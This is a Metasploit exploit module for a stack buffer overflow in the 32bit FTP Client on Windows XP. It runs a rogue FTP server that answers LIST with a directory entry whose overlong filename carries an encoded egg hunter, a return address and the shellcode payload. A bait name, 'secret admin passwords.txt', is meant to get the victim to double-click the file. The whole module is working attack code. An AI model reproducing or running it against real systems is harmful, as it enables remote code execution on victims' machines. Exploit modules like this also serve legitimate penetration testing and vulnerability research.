32bit FTP Client - Stack Buffer Overflow



##

# $Id: 32bitftp_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::FtpServer

    def initialize(info = {})
        super(update_info(info,
            'Name'           => '32bit FTP Client Stack Buffer Overflow ',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in 32bit ftp client, triggered when trying to
                    download a file that has an overly long filename.
            },
            'Author'      =>
                [
                    'fancy',    # found the bug
                    'corelanc0d3r'    # helped writing this module
                ],
            'License'        => MSF_LICENSE,
            'Version'        => "$Revision: 11039 $",
            'References'     =>
                [
                    [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
                {
                    'BadChars' => "\x00\xff\x0a",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'XP Universal', { 'Offset' => 259, 'Ret' => 0x004393ED  } ],  #RETN 32bitftp.exe
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Oct 12 2010',
            'DefaultTarget'  => 0))

    end

    def setup
        super
    end

    def on_client_unknown_command(c,cmd,arg)
        c.put("200 OK\r\n")
    end


    def on_client_command_list(c,arg)
            code = 150
            c.put("#{code} OK.\r\n")
            code = 226
            c.put("#{code} Directory ok.\r\n")

            conn = establish_data_connection(c)
            if(not conn)
                c.put("425 Can't build data connection\r\n")
                return
            end
            print_status(" - Data connection set up")

            filename =  "\x02"  #prevent crash
            filename << "secret admin passwords.txt" #se = \x73\x65 = jump forward, over filename, to hunter
            filename << " " * 77
            #custom encoded egg hunter
            filename << "\x89\xe2\xda\xd6\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
            filename << "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
            filename << "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
            filename << "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
            filename << "\x45\x36\x4b\x31\x4a\x6a\x49\x6f\x44\x4f\x42\x62\x50\x52\x43"
            filename << "\x5a\x45\x52\x46\x38\x48\x4d\x44\x6e\x45\x6c\x45\x55\x43\x6a"
            filename << "\x50\x74\x4a\x4f\x4d\x68\x43\x47\x44\x70\x46\x50\x43\x44\x4e"
            filename << "\x6b\x4b\x4a\x4c\x6f\x43\x45\x49\x7a\x4c\x6f\x44\x35\x4a\x47"
            filename << "\x4b\x4f\x4d\x37\x41\x41"
            filename << " " * (target['Offset']-filename.length)

            addr1 = "\x40\x60\x3A\x76"  # RW imm32.dll
            addr2 = "\x44\x54\x48\x00"  # data section 32bitftp.exe
            addr3 = [target.ret].pack('V') # b00m !

            strfile = filename
            strfile << addr3
            strfile << addr2
            strfile << addr1
            strfile << "w00tw00t"
            strfile << payload.encoded

            print_status(" - Sending directory list via data connection")
            dirlist = "-rw-rw-r--    1 1176     1176         1060 Apr 23 23:17  #{strfile}.bin\r\n\r\n"
            conn.put(dirlist)
            conn.close
            print_status(" - LIST sent, wait for user to double click file...")
            return
    end

end